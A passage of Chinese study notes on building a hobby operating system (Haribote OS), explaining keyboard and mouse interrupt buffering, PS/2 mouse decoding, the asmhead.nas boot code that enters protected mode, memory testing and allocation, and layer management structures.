那么就暂不受理这两条指令之间的中断, 而要等到HLT指令之后才受理</strong> </p><blockquote><p>按住ctrl</p><p>当按下右Ctrl键时, 会产生两个字节的键码值“E0<br>1D”, 而松开这个键之后, 会产生两个字节的键码值“E0 9D”。 在一次产<br>生两个字节键码值的情况下, 因为键盘内部电路一次只能发送一个字<br>节, 所以一次按键就会产生两次中断, 第一次中断时发送E0, 第二次中<br>断时发送1D。 </p></blockquote><h3 id="fifo缓冲区"><a href="#fifo缓冲区" class="headerlink" title="fifo缓冲区"></a>fifo缓冲区</h3><blockquote><p>version1</p></blockquote><p>中断函数</p><pre><code class="c">struct KEYBUF {unsigned char data[32];int next;};void inthandler21(int *esp){ unsigned char data; io_out8(PIC0_OCW2, 0x61); /* 通知PIC IRQ-01已经受理完毕 */ data = io_in8(PORT_KEYDAT); if (keybuf.next < 32) { keybuf.data[keybuf.next] = data; keybuf.next++;} return;}</code></pre><p>主函数</p><pre><code class="c">for (;;) { io_cli(); if (keybuf.next == 0) { io_stihlt(); } else { i = keybuf.data[0]; keybuf.next--; for (j = 0; j < keybuf.next; j++) { keybuf.data[j] = keybuf.data[j + 1]; } io_sti(); sprintf(s, "%02X", i); boxfill8(binfo->vram, binfo->scrnx, COL8_008484, 0, 16, 15, 31); putfonts8_asc(binfo->vram, binfo->scrnx, 0, 16, COL8_FFFFFF, s); }}</code></pre><p>中断函数: 每次中断都会将数据存入数组中,并记录下一次存放的位置</p><p>主函数:如果flag=1 读取数组中第一个数据,将后续数据往前移一个位置 keybuf.next也-1</p><p>该函数主要问题在主函数中,最多要移动31个数据,在性能上有很大缺失。</p><blockquote><p>version2</p></blockquote><p>不仅要维护下一个要写入数据的位置, 还要维护下一个要读出数据的位置。 </p><p>当读和写位置一样时,没有数据需要处理,</p><pre><code class="c">struct KEYBUF { unsigned char data[32]; int next_r, next_w, len;};变量len是指缓冲区能记录多少字节的数据。 void inthandler21(int *esp){ unsigned char data; io_out8(PIC0_OCW2, 0x61); /* 通知 IRQ-01已经受理完毕 */ data = io_in8(PORT_KEYDAT); if (keybuf.len < 32) { //如果keybuf还有空余位置 keybuf.data[keybuf.next_w] = data; keybuf.len++; keybuf.next_w++; if (keybuf.next_w == 32) { keybuf.next_w = 0; } } return;}for (;;) {io_cli(); if (keybuf.len == 0) { io_stihlt(); } else {//len记录存放的数据的多少 i = keybuf.data[keybuf.next_r]; keybuf.len--; keybuf.next_r++; if (keybuf.next_r == 32) { keybuf.next_r = 0; } io_sti(); }}</code></pre><h3 id="鼠标(harib04f)"><a href="#鼠标(harib04f)" class="headerlink" title="鼠标(harib04f)"></a>鼠标(harib04f)</h3><p>鼠标传送的信息较多,在一开的时候并不适合操作系统</p><p>所以, 虽然在主板上做了鼠标用的电路, 但只要不执行激活鼠标的指令,就不产生鼠标的中断信号 </p><p>要想让鼠标能够传送数据、产生中断信号</p><ol><li>激活鼠标控制电路</li><li>激活鼠标本身</li></ol><blockquote><p>控制电路的设定 </p></blockquote><p>鼠标控制电路包含在键盘控制电路里, 如果键盘控制电路的初始化正常完成, 鼠标电路控制器的激活也就完成了 </p><pre><code class="c">#define PORT_KEYDAT 0x0060#define PORT_KEYSTA 0x0064#define PORT_KEYCMD 0x0064#define KEYSTA_SEND_NOTREADY 0x02#define KEYCMD_WRITE_MODE 0x60#define KBC_MODE 0x47 /*它的作用是, 让键盘控制电路(keyboard controller, KBC) 做好准备动作, 等待控制指令的到来。*/void wait_KBC_sendready(void){ /* 等待键盘控制电路准备完毕 */ for (;;) { if ((io_in8(PORT_KEYSTA) & KEYSTA_SEND_NOTREADY) == 0) { break; } } return;} /*如果键盘控制电路可以接受CPU指令了, CPU从设备号码0x0064处所读取的数据的倒数第二位(从低位开始数的第二位) 应该是0。 在确认到这一位是0之前, 程序一直通过for语句循环查询。*/ void init_keyboard(void){ /* 初始化键盘控制电路 */ wait_KBC_sendready(); io_out8(PORT_KEYCMD, KEYCMD_WRITE_MODE); //进行模式设定 wait_KBC_sendready(); io_out8(PORT_KEYDAT, KBC_MODE); //利用鼠标模式 return;}</code></pre><blockquote><p>鼠标设定</p></blockquote><p>现在, 我们开始发送激活鼠标的指令。 所谓发送鼠标激活指令, 归根到底还是要向键盘控制器发送指令 </p><pre><code class="c">#define KEYCMD_SENDTO_MOUSE 0xd4#define MOUSECMD_ENABLE 0xf4void enable_mouse(void){ /* 激活鼠标 */ wait_KBC_sendready(); /*往键盘控制电路发送指令0xd4, 下一个数据就会自动发送给鼠标。 */ io_out8(PORT_KEYCMD, KEYCMD_SENDTO_MOUSE); wait_KBC_sendready(); /*激活鼠标*/ io_out8(PORT_KEYDAT, MOUSECMD_ENABLE); return; /* 顺利的话,键盘控制其会返送回ACK(0xfa)*/}</code></pre><h3 id="从鼠标接受数据(harib04g)"><a href="#从鼠标接受数据(harib04g)" class="headerlink" title="从鼠标接受数据(harib04g)"></a>从鼠标接受数据(harib04g)</h3><blockquote><p>中断函数</p></blockquote><pre><code class="C">struct FIFO8 mousefifo;void inthandler2c(int *esp)/* 来自PS/2鼠标的中断 */{ unsigned char data; io_out8(PIC1_OCW2, 0x64); /* 通知PIC1 IRQ-12的受理已经完成 */ io_out8(PIC0_OCW2, 0x62); /* 通知PIC0 IRQ-02的受理已经完成 */ data = io_in8(PORT_KEYDAT); fifo8_put(&mousefifo, data); return;}</code></pre><p>因为鼠标位于从PIC ,因此首先需要通知PIC1 ,鼠标的中断受理完成,</p><p>然后通知主PIC,从PIC终端受理完成。</p><blockquote><p>主函数</p></blockquote><pre><code class="c">fifo8_init(&mousefifo, 128, mousebuf);for (;;) { io_cli(); if (fifo8_status(&keyfifo) + fifo8_status(&mousefifo) == 0) { io_stihlt(); } else { if (fifo8_status(&keyfifo) != 0) { i = fifo8_get(&keyfifo); io_sti(); sprintf(s, "%02X", i); boxfill8(binfo->vram, binfo->scrnx, COL8_008484, 0, 16, 15, 31); putfonts8_asc(binfo->vram, binfo->scrnx, 0, 16, COL8_FFFFFF, s); } else if (fifo8_status(&mousefifo) != 0) { i = fifo8_get(&mousefifo); io_sti(); sprintf(s, "%02X", i); boxfill8(binfo->vram, binfo->scrnx, COL8_008484, 32, 16, 47, 31); putfonts8_asc(binfo->vram, binfo->scrnx, 32, 16, COL8_FFFFFF, s); } }}</code></pre><p>取得数据的程序中, 如果键盘和鼠标的FIFO缓冲区都为空了, 就执行HLT。 如果不是两者都空, 就先检查keyinfo, 如果有数据, 就取出一个显示出来。 如果keyinfo是空, 就再去检查mouseinfo, 如果有数据, 就取出一个显示出来。 </p><h2 id="20220319"><a href="#20220319" class="headerlink" title="20220319"></a>20220319</h2><h3 id="鼠标信息解读harib05a"><a href="#鼠标信息解读harib05a" class="headerlink" title="鼠标信息解读harib05a"></a>鼠标信息解读harib05a</h3><p>在一开始激活鼠标后,会获得一个0xfa 字节数据,将该数据舍弃后,后续的数据都是3个字节为一组的。</p><pre><code class="c">unsigned char mouse_dbuf[3], mouse_phase;enable_mouse();mouse_phase = 0; /* 进入到等待鼠标的0xfa的状态 */for (;;) { io_cli(); if (fifo8_status(&keyfifo) + fifo8_status(&mousefifo) == 0) { io_stihlt(); } else { if (fifo8_status(&keyfifo) != 0) { i = fifo8_get(&keyfifo); io_sti(); sprintf(s, "%02X", i); boxfill8(binfo->vram, binfo->scrnx, COL8_008484, 0, 16, 15, 31); putfonts8_asc(binfo->vram, binfo->scrnx, 0, 16, COL8_FFFFFF, s); } else if (fifo8_status(&mousefifo) != 0) { i = fifo8_get(&mousefifo); io_sti(); if (mouse_phase == 0) { /* 等待鼠标的0xfa的状态 */ if (i == 0xfa) { mouse_phase = 1; } } else if (mouse_phase == 1) { /* 等待鼠标的第一字节 */ mouse_dbuf[0] = i; mouse_phase = 2; } else if (mouse_phase == 2) { /* 等待鼠标的第二字节 */ mouse_dbuf[1] = i; mouse_phase = 3; } else if (mouse_phase == 3) { /* 等待鼠标的第三字节 */ mouse_dbuf[2] = i; mouse_phase = 1; /* 鼠标的3个字节都齐了, 显示出来 */sprintf(s, "%02X %02X %02X", mouse_dbuf[0], mouse_dbuf[1], mouse_dbuf[2]); boxfill8(binfo->vram, binfo->scrnx, COL8_008484, 32, 16, 32 + 8 * 8 - 1, 31); putfonts8_asc(binfo->vram, binfo->scrnx, 32, 16, COL8_FFFFFF, s); } } }}</code></pre><p>代码逻辑: </p><ol><li>代码进入鼠标数据处理后,首先检测mouse_phase的值,若为0 ,则一开始的0xfa还未读取.</li><li>若读入字节为0xfa ,将mouse_phase 的值设为1</li><li>如果为1 ,则读入第一个字节 ,如为2,读入第二个字节 ….</li><li>如果为3,读入第三个字节并显示,将 mouse_phase值置为1</li></ol><h3 id="鼠标解读2-harib05c"><a href="#鼠标解读2-harib05c" class="headerlink" title="鼠标解读2 harib05c"></a>鼠标解读2 harib05c</h3><blockquote><p>数据处理部分</p></blockquote><pre><code class="c">struct MOUSE_DEC {unsigned char buf[3], phase;int x, y, btn;};int mouse_decode(struct MOUSE_DEC *mdec, unsigned char dat){ if (mdec->phase == 0) { /* 等待鼠标的0xfa的阶段 */ if (dat == 0xfa) { mdec->phase = 1; } return 0; } if (mdec->phase == 1) { /* 等待鼠标第一字节的阶段 */ if ((dat & 0xc8) == 0x08) { /* 如果第一字节正确 */ mdec->buf[0] = dat; mdec->phase = 2; } return 0; } if (mdec->phase == 2) { /* 等待鼠标第二字节的阶段 */ mdec->buf[1] = dat; mdec->phase = 3; return 0; } if (mdec->phase == 3) { /* 等待鼠标第三字节的阶段 */ mdec->buf[2] = dat; mdec->phase = 1; mdec->btn = mdec->buf[0] & 0x07; mdec->x = mdec->buf[1]; mdec->y = mdec->buf[2]; if ((mdec->buf[0] & 0x10) != 0) { mdec->x |= 0xffffff00; } if ((mdec->buf[0] & 0x20) != 0) { mdec->y |= 0xffffff00; } mdec->y = - mdec->y; /* 鼠标的y方向与画面符号相反 */ return 1; } return -1; /* 应该不会到这儿来 */}</code></pre><p>结构体新增了int x, y, btn; 用于存储移动信息和鼠标的按键状态</p><p>在phase=1阶段,对第一个字节进行判断,如果异常(高2位不是0<del>3,低四位不是8</del>F),该字节与后续两个字节都会被丢弃。</p><p><a href="https://blog.csdn.net/weixin_42707324/article/details/107069180">https://blog.csdn.net/weixin_42707324/article/details/107069180</a></p><p>在phase=3阶段,开始对获取到的三个字节信息进行处理</p><p>buf[0]的低三位为鼠标键信息,存入btn中,</p><p> 在buf[0]低四位为8的情况下,代表鼠标移动,buf[0]的高四位存储方向信息 </p><p> 在buf[0]低四位为9、A、F情况下,代表按键按下</p><blockquote><p>对于移动的位移,PS/2内置有两个位移寄存器,包括X方向和Y方向的位移寄存器,而这些寄存器存储的是<strong>9位带符号位整数</strong></p></blockquote><p>如图,buf[0]的第4、5位存放两个方向寄存器的符号位置。</p><p>buf[1]为x方向信息</p><p> 如图,如果buf[0]的第4位为1 ,代表为负值,要将int类型的高24位计为1 ,代表负数</p><p>buf[2]为y方向信息</p><p> …..</p><blockquote><p>显示部分</p></blockquote><pre><code class="c">} else if (fifo8_status(&mousefifo) != 0) { i = fifo8_get(&mousefifo); io_sti(); if (mouse_decode(&mdec, i) != 0) { /* 数据的3个字节都齐了, 显示出来 */ sprintf(s, "[lcr %4d %4d]", mdec.x, mdec.y); if ((mdec.btn & 0x01) != 0) { s[1] = 'L'; } if ((mdec.btn & 0x02) != 0) { s[3] = 'R'; } if ((mdec.btn & 0x04) != 0) { s[2] = 'C'; } boxfill8(binfo->vram, binfo->scrnx, COL8_008484, 32, 16, 32 + 15 * 8 - 1,31); putfonts8_asc(binfo->vram, binfo->scrnx, 32, 16, COL8_FFFFFF, s); }}</code></pre><blockquote><p>让鼠标移动</p></blockquote><ol><li>覆盖原来的鼠标</li><li>x,y加上移动的偏移</li><li>绘制鼠标</li></ol><h3 id="asmhead-nas-代码解读"><a href="#asmhead-nas-代码解读" class="headerlink" title="asmhead.nas 代码解读"></a>asmhead.nas 代码解读</h3><blockquote><p>关闭全部中断</p></blockquote><pre><code class="assembly">; PIC关闭一切中断; 根据AT兼容机的规格, 如果要初始化PIC,; 必须在CLI之前进行, 否则有时会挂起。; 随后进行PIC的初始化。 MOV AL,0xff OUT 0x21,AL NOP ; 如果连续执行OUT指令, 有些机种会无法正常运行 OUT 0xa1,AL CLI ; 禁止CPU级别的中断</code></pre><p>NOP指令什么都不做, 它只是让CPU休息一个时钟长的时间 </p><blockquote><p>为了让CPU能够访问1MB以上的内存空间, 设定A20GATE </p></blockquote><pre><code class="assembly">; 为了让CPU能够访问1MB以上的内存空间, 设定A20GATECALL waitkbdout MOV AL,0xd1 OUT 0x64,AL CALL waitkbdout MOV AL,0xdf ; enable A20 OUT 0x60,AL CALL waitkbdout</code></pre><p>这里的waitkbdout, 等同于wait_KBC_sendready</p><p>向0x64端口写入 0xd1 然后向0x60端口写入0xdf</p><p>这里发送的指令, 是指令键盘控制电路的附属端口输出0xdf。 这个附属<br>端口, 连接着主板上的很多地方, 通过这个端口发送不同的指令, 就可<br>以实现各种各样的控制功能 </p><p>这次输出0xdf所要完成的功能, 是让A20GATE信号线变成ON的状态 </p><blockquote><p>切换到保护模式</p></blockquote><pre><code class="assembly">; 切换到保护模式[INSTRSET "i486p"] ; “想要使用486指令”的叙述 LGDT [GDTR0] ; 设定临时GDT MOV EAX,CR0 AND EAX,0x7fffffff ; 设bit31为0(为了禁止分页) OR EAX,0x00000001 ; 设bit0为1(为了切换到保护模式) MOV CR0,EAX JMP pipelineflushpipelineflush: MOV AX,1*8 ; 可读写的段 32bit MOV DS,AX MOV ES,AX MOV FS,AX MOV GS,AX MOV SS,AX</code></pre><ol><li><p>INSTRSET指令, 是为了能够使用386以后的LGDT, EAX, CR0等关键字。</p></li><li><p>LGDT指令, 不管三七二十一, 把随意准备的GDT给读进来。 对于这个暂定的GDT, 我们以后还要重新设置。<br>GDTR0 定义如下</p><pre><code class="assembly">GDTR0: DW 8*3-1 DD GDT0</code></pre></li><li><p>然后将CR0这一特殊的32位寄存器的值代入EAX, 并将最高位置为0, 最低位置为1, 再将这个值返回给CR0寄存器。 这样就完成了模式转换, 进入到保护模式。</p></li><li><p>CR0, 也就是control register 0, 是一个非常重要的寄存器, 只有操作系统才能操作它。<br><a href="https://blog.csdn.net/qq_37414405/article/details/84487591">https://blog.csdn.net/qq_37414405/article/details/84487591</a><br>代码中操控了下面两位</p><p><strong>Protected-Mode Enable (PE) Bit</strong>. Bit0. PE=0,表示CPU处于实模式; PE=1表CPU处于保护模式,并使用分段机制。</p><p><strong>Paging Enable (PG) Bit</strong>. Bit 31. 该位控制分页机制,PG=1,启动分页机制;PG=0,不使用分页机制。</p></li><li><p>保护模式与先前的16位模式不同, 段寄存器的解释不是16倍, 而是能够使用GDT。 这里的“保护”, 来自英文的“protect”。 在这种模式下, 应用程序既不能随便改变段的设定, 又不能使用操作系统专用的段。 操作系统受到CPU的保护, 所以称为保护模式<br><a href="https://www.zhihu.com/question/25272611">https://www.zhihu.com/question/25272611</a><br><a href="https://www.cnblogs.com/bEngi1/p/12173719.html">https://www.cnblogs.com/bEngi1/p/12173719.html</a></p></li></ol><p>代码切换到保护模式,通过GDT进行地址转换</p><p>通过代入CR0而切换到保护模式时, 要马上执行JMP指令</p><p>将相关的段寄存器都设置为GDT+1的段</p><blockquote><p>载入代码</p></blockquote><pre><code class="assembly">; bootpack的转送 MOV ESI,bootpack ; 转送源 MOV EDI,BOTPAK ; 转送目的地 MOV ECX,512*1024/4 CALL memcpy; 磁盘数据最终转送到它本来的位置去; 首先从启动扇区开始 MOV ESI,0x7c00 ; 转送源 MOV EDI,DSKCAC ; 转送目的地 MOV ECX,512/4 CALL memcpy; 所有剩下的 MOV ESI,DSKCAC0+512 ; 转送源 MOV EDI,DSKCAC+512 ; 转送目的地 MOV ECX,0 MOV CL,BYTE [CYLS] IMUL ECX,512*18*2/4 ; 从柱面数变换为字节数/4 SUB ECX,512/4 ; 减去 IPL CALL memcpy</code></pre><blockquote><p>memcpy(转送源地址ESI, 转送目的地址EDI, 转送数据的大小ECX);</p><p>转送数据大小是以双字为单位的, 所以数据大小用字节数除以4来指定。 </p></blockquote><p>memcpy(0x7c00, DSKCAC, 512/4);<br>DSKCAC是0x00100000, 所以上面这句话的意思就是从0x7c00复制512字节到0x00100000。 这正好是将启动扇区复制到1MB以后的内存去的意思。</p><p>memcpy(DSKCAC0+512, DSKCAC+512, cyls * 512<em>18</em>2/4-512/4);<br>它的意思就是将始于0x00008200的磁盘内容(也即是启动区代码<strong>加载到内存中的数据</strong>,共10个柱面180kb), 复制到0x00100200那里。 </p><p>现在我们还没说明的函数就只有有程序开始处的memcpy了。 bootpack是asmhead.nas的最后一个标签。 haribote.sys是通过asmhead.bin和bootpack.hrb连接起来而生成的(可以通过Makefile确认) , 所以asmhead结束的地方, 紧接着串连着bootpack.hrb最前面的部分。</p><p>memcpy(bootpack, BOTPAK, 512*1024/4); → 从bootpack的地址开始的512KB内容复<br>制到0x00280000号地址去。 </p><blockquote><p>后续代码</p></blockquote><pre><code class="assembly">; 必须由asmhead来完成的工作, 至此全部完毕; 以后就交由bootpack来完成; bootpack的启动 MOV EBX,BOTPAK MOV ECX,[EBX+16] ADD ECX,3 ; ECX += 3; SHR ECX,2 ; ECX /= 4; JZ skip ; 没有要转送的东西时 MOV ESI,[EBX+20] ; 转送源 ADD ESI,EBX MOV EDI,[EBX+12] ; 转送目的地 CALL memcpy skip: MOV ESP,[EBX+12] ; 栈初始值 JMP DWORD 2*8:0x0000001b</code></pre><p>将bootpack.hrb第 0x10c8字节开始的0x11a8字节复制到0x00310000号地址去 </p><p>最后将0x310000代入到ESP里, 然后用一个特别的JMP指令, 将2 * 8 代<br>入到CS里, 同时移动到0x1b号地址。 这里的0x1b号地址是指第2个段的<br>0x1b号地址。 第2个段的基地址是0x280000, 所以实际上是从0x28001b<br>开始执行的。 这也就是bootpack.hrb的0x1b号地址。<br>这样就开始执行bootpack.hrb了。 </p><blockquote><p>目前内存分布如下</p></blockquote><p>0x00000000 - 0x000fffff : 虽然在启动中会多次使用, 但之后就变空。<br>(1MB)<br>0x00100000 - 0x00267fff : 用于保存软盘的内容。 (1440KB)<br>0x00268000 - 0x0026f7ff : 空(30KB)<br>0x0026f800 - 0x0026ffff : IDT (2KB)<br>0x00270000 - 0x0027ffff : GDT (64KB)<br>0x00280000 - 0x002fffff : bootpack.hrb(512KB)<br>0x00300000 - 0x003fffff : 栈及其他(1MB)<br>0x00400000 - : 空 </p><blockquote><p>最后一部分</p></blockquote><pre><code class="assembly">ALIGNB 16GDT0: RESB 8 ; NULL selector DW 0xffff,0x0000,0x9200,0x00cf ; 可以读写的段(segment) 32bit DW 0xffff,0x0000,0x9a28,0x0047 ; 可以执行的段(segment) 32bit(bootpack用) DW 0GDTR0: DW 8*3-1 DD GDT0 ALIGNB 16bootpack:</code></pre><p>ALIGNB 16指令的意思是, 一直添加DB 0 直到地址能被16整除为止。</p><p>如果标签GDT0的地址不是8的整数倍, 向段寄存器复制的MOV指令就会慢一些。 所以我们插入了ALIGNB指令。 </p><p>GDT0也是一种特定的GDT。 0号是空区域(null sector) , 不能够在那里定义段。 1号和2号分别由下式设定。<br>set_segmdesc(gdt + 1, 0xffffffff, 0x00000000, AR_DATA32_RW);<br>set_segmdesc(gdt + 2, LIMIT_BOTPAK, ADR_BOTPAK, AR_CODE32_ER); </p><p>DD GDT0</p><blockquote><p>总结asmhead.nas</p></blockquote><ol><li>关闭所有中断</li><li>为了让CPU能够访问1MB以上的内存空间, 设定A20GATE</li><li>创建一个临时的GDT, 包含两个段</li><li>将IPL 、bootpack等代码载入指定的内存中</li><li>最后跳转到主程序区(0x280000)继续执行</li></ol><pre><code class="assembly">程序: asmhead.nas;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; haribote-os boot asm; TAB=4BOTPAK EQU 0x00280000 ; 主程序地址DSKCAC EQU 0x00100000 ; DSKCAC0 EQU 0x00008000 ;DATPAK EQU 0x00000000 ; 程序数据地址; 有关BOOT_INFOCYLS EQU 0x0ff0 ; 设定启动区LEDS EQU 0x0ff1 ; 键盘状态VMODE EQU 0x0ff2 ; 颜色位数SCRNX EQU 0x0ff4 ; 分辨率X (screen x)SCRNY EQU 0x0ff6 ; 分辨率Y (screen y)VRAM EQU 0x0ff8 ; 图像缓冲区开始地址,显卡内存 ORG 0x8200 ; 初始化栈地址 mov esp,0x8000; 设定Graphic Mode MOV AL,0x13 ; VGA显卡,320x200x8位彩色 MOV AH,0x00 INT 0x10 MOV BYTE [VMODE],8 MOV WORD [SCRNX],320 MOV WORD [SCRNY],200 MOV DWORD [VRAM],0x000a0000; 返回键盘状态 MOV AH,0x02 INT 0x16 ; keyboard BIOS MOV [LEDS],AL; PIC 可编程中断控制器 有两个PIC 每个PIC有8个输入0-7 处理为1,忽略为0; cli关闭所有中断,sti打开所有中断 MOV AL,0xff OUT 0x21,AL ; PCI1 data NOP ; 太快可能会有问题 OUT 0xa1,AL ; PCI2 data CLI ; 关闭全部中断; 蛋疼的键盘A20 address enable CALL waitkbdout MOV AL,0xd1 OUT 0x64,AL CALL waitkbdout MOV AL,0xdf ; enable A20 OUT 0x60,AL CALL waitkbdout ; 切换到保护模式 LGDT [GDTR0] MOV EAX,CR0 AND EAX,0x7fffffff ; 禁止分页 OR EAX,0x00000001 MOV CR0,EAX JMP pipelineflushpipelineflush: MOV AX,1*8 ; 取数据段偏移 MOV DS,AX ; 数据段 MOV ES,AX ; 数据段(字符操作目标) MOV FS,AX ; 数据段 MOV GS,AX ; 数据段 MOV SS,AX ; 栈段; 主程序加载到0x280000 MOV ESI,bootpack+0x1000 MOV EDI,BOTPAK+0x9000 MOV ECX,0x77000/4 CALL memcpy; 数据加载到0x000000 MOV esi,bootpack+0x1000 mov eax,DATPAK+0x9000 MOV edi,eax MOV ecx,0x77000/4 ; 小心不要覆盖引导区 CALL memcpy; 跳转主程序 MOV ESP,0x9ffff ; 设置栈地址 JMP DWORD 2*8:0x0000f000 ; 跳转到0x280000waitkbdout: IN AL,0x64 AND AL,0x02 ; cpu可向键盘写命令时为1 JNZ waitkbdout ; RETmemcpy: MOV EAX,[ESI] ADD ESI,4 MOV [EDI],EAX ADD EDI,4 SUB ECX,1 JNZ memcpy RET; 全局变量表 ALIGNB 16 ; 16字节对齐 bss段GDT0: RESB 8 ; 第一项为0,这是规定 DW 0xffff,0x0000,0x9200,0x00cf ; 整个内存 DW 0xffff,0x0000,0x9a28,0x0047 ; 程序段 DW 0GDTR0: DW 8*3-1 ; 表的大小(字节)减1 DD GDT0 ; 表的地址 ALIGNB 16bootpack: resb 0x1000</code></pre><h2 id="20220325"><a href="#20220325" class="headerlink" title="20220325"></a>20220325</h2><h3 id="内存管理"><a href="#内存管理" class="headerlink" title="内存管理"></a>内存管理</h3><blockquote><p>内存检查</p></blockquote><pre><code class="assembly">_memtest_sub: ; unsigned int memtest_sub(unsigned int start, unsigned int end)PUSH EDI ; (由于还要使用EBX, ESI, EDI)PUSH ESIPUSH EBXMOV ESI,0xaa55aa55 ; pat0 = 0xaa55aa55;MOV EDI,0x55aa55aa ; pat1 = 0x55aa55aa;MOV EAX,[ESP+12+4] ; i = start;mts_loop:MOV EBX,EAXADD EBX,0xffc ; p = i + 0xffc;MOV EDX,[EBX] ; old = *p;MOV [EBX],ESI ; *p = pat0;XOR DWORD [EBX],0xffffffff ; *p ^= 0xffffffff;CMP EDI,[EBX] ; if (*p != pat1) goto fin;JNE mts_finXOR DWORD [EBX],0xffffffff ; *p ^= 0xffffffff;CMP ESI,[EBX] ; if (*p != pat0) goto fin;JNE mts_finMOV [EBX],EDX ; *p = old;ADD EAX,0x1000 ; i += 0x1000;CMP EAX,[ESP+12+8] ; if (i <= end) goto mts_loop;JBE mts_loopPOP EBXPOP ESIPOP EDIRETmts_fin:MOV [EBX],EDX ; *p = old;POP EBXPOP ESIPOP EDIRET</code></pre><p>将内存每4kB分一块,对最后4Byte进行检查。‘</p><blockquote><p> 内存管理</p></blockquote><p>操作系统在工作中, 有时需要分配一定大小的内存, 用完以后又不再需要, 这种事会频繁发生。 为了应付这些需<br>求, 必须恰当管理好哪些内存可以使用(哪些内存空闲) , 哪些内存不可以使用(正在使用) , 这就是内存管理。 如果不进行管理, 系统会变得一塌糊涂, 要么不知道哪里可用, 要么多个应用程序使用同一地址的内存。 </p><blockquote><p>内存分配</p></blockquote><pre><code class="c">unsigned int memman_alloc(struct MEMMAN *man, unsigned int size)/* 分配 */{ unsigned int i, a; for (i = 0; i < man->frees; i++) { if (man->free[i].size >= size) { /* 找到了足够大的内存 */ a = man->free[i].addr; man->free[i].addr += size; man->free[i].size -= size; if (man->free[i].size == 0) { /* 如果free[i]变成了0, 就减掉一条可用信息 */ man->frees--; for (; i < man->frees; i++) { man->free[i] = man->free[i + 1]; /* 代入结构体 */ } } return a; //返回分配的内存的初始地址 } } return 0; /* 没有可用空间 */}</code></pre><p>在分配的时候,只需要遍历MEMMAN,找到一个满足大小的free[i] ,进行分配即可。</p><p>复杂的地方在内存释放。</p><blockquote><p>内存释放</p></blockquote><p>情况1: 如果释放的内存,其前面有可用的内存</p><p> </p><pre><code class="c">int memman_free(struct MEMMAN *man, unsigned int addr, unsigned int size)/* 释放 */{ int i, j; /* 为便于归纳内存, 将free[]按照addr的顺序排列 */ /* 所以, 先决定应该放在哪里 */ for (i = 0; i < man->frees; i++) { if (man->free[i].addr > addr) { break; } } /*此时获取的i,满足 free[i - 1].addr < addr < free[i].addr */ if (i > 0) { /* 前面有可用内存 ,并且地址相拼接*/ if (man->free[i - 1].addr + man->free[i - 1].size == addr) { /* 可以与前面的可用内存归纳到一起 */ man->free[i - 1].size += size; if (i < man->frees) { /* 后面也有 */ if (addr + size == man->free[i].addr) { /* 也可以与后面的可用内存归纳到一起 */ man->free[i - 1].size += man->free[i].size; /* man->free[i]删除 */ /* free[i]变成0后归纳到前面去 */ man->frees--; for (; i < man->frees; i++) { man->free[i] = man->free[i + 1]; /* 结构体赋值 */ } } } return 0; /* 成功完成 */ } } /* 不能与前面的可用空间归纳到一起 */ if (i < man->frees) { /* 后面还有 */ if (addr + size == man->free[i].addr) { /* 可以与后面的内容归纳到一起 */ man->free[i].addr = addr; man->free[i].size += size; return 0; /* 成功完成 */ } } /* 既不能与前面归纳到一起, 也不能与后面归纳到一起 此时需要插入一个新的free[] */ if (man->frees < MEMMAN_FREES) { /* free[i]之后的, 向后移动, 腾出一点可用空间 */ for (j = man->frees; j > i; j--) { man->free[j] = man->free[j - 1]; } man->frees++; if (man->maxfrees < man->frees) { man->maxfrees = man->frees; /* 更新最大值 */ } man->free[i].addr = addr; man->free[i].size = size;return 0; /* 成功完成 */ }/ * 不能往后移动 */ man->losts++; man->lostsize += size; return -1; /* 失败 */}</code></pre><h2 id="20220326"><a href="#20220326" class="headerlink" title="20220326"></a>20220326</h2><h3 id="图层叠加harib07b"><a href="#图层叠加harib07b" class="headerlink" title="图层叠加harib07b"></a>图层叠加harib07b</h3><blockquote><p>图层信息</p></blockquote><pre><code class="c">struct SHEET { unsigned char *buf; int bxsize, bysize, vx0, vy0, col_inv, height, flags;}</code></pre><p>buf用来存储图层的地址</p><p>图层的整体大小,用bxsize * bysize 来表示</p><p>vx0和vy0是表示图层在画面上位置的坐标, v是VRAM的略语。 </p><p>col_inv表示透明色色号, 它是color(颜色) 和invisible(透明) 的组合略语。</p><p> height表示图层高度</p><p> Flags用于存放有关图层的各种设定信息。</p><blockquote><p> 图层集合</p></blockquote><pre><code class="c">#define MAX_SHEETS 256struct SHTCTL { unsigned char *vram; int xsize, ysize, top; struct SHEET *sheets[MAX_SHEETS]; struct SHEET sheets0[MAX_SHEETS];};</code></pre><p>变量vram、 xsize、 ysize代表VRAM的地址和画面的大小 。</p><p>top代表最上面图层的高度。 </p><p>sheets0这个结构体用于存放我们准备的256个图层的信息 。</p><p>sheets是记忆地址变量的领域, 由于sheets0中的图层顺序混乱, 所以<br>我们把它们按照高度进行升序排列, 然后将其地址写入sheets中, 这样<br>就方便多了。 </p><p><img src="/2022/01/31/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/30%E5%A4%A9%E8%87%AA%E5%88%B6%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F-%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/image-20220326125741267.png" alt="image-20220326125741267"></p><blockquote><p>结构体初始化</p></blockquote><pre><code class="c">struct SHTCTL *shtctl_init(struct MEMMAN *memman, unsigned char *vram, int xsize,int ysize){ struct SHTCTL *ctl; int i; ctl = (struct SHTCTL *) memman_alloc_4k(memman, sizeof (struct SHTCTL)); if (ctl == 0) { goto err; } ctl->vram = vram; ctl->xsize = xsize; ctl->ysize = ysize; ctl->top = -1; /*一个SHEET没都有 */ for (i = 0; i < MAX_SHEETS; i++) { ctl->sheets0[i].flags = 0; /* 标记为未使用 */ } err: return ctl;}</code></pre><p>分配内存 -> 初始化结构体</p><blockquote><p>取得未使用的图层</p></blockquote><pre><code class="c">#define SHEET_USE 1struct SHEET *sheet_alloc(struct SHTCTL *ctl){ struct SHEET *sht; int i; for (i = 0; i < MAX_SHEETS; i++) { if (ctl->sheets0[i].flags == 0) { sht = &ctl->sheets0[i]; sht->flags = SHEET_USE; /* 标记为正在使用*/ sht->height = -1; /* 隐藏 */ return sht; } } return 0; /* 所有的SHEET都处于正在使用状态*/ }</code></pre><p>获取未使用的图层 –> 获取该图层指针 标记为使用 设置高度为-1</p><p>程序中出现的&ctl—>sheets0[i]是“ctl—>sheets0[i]的地址”的意思。 也就是说, 指的是&(ctl—>sheets0[i]) , 而不是(&ctl) —> 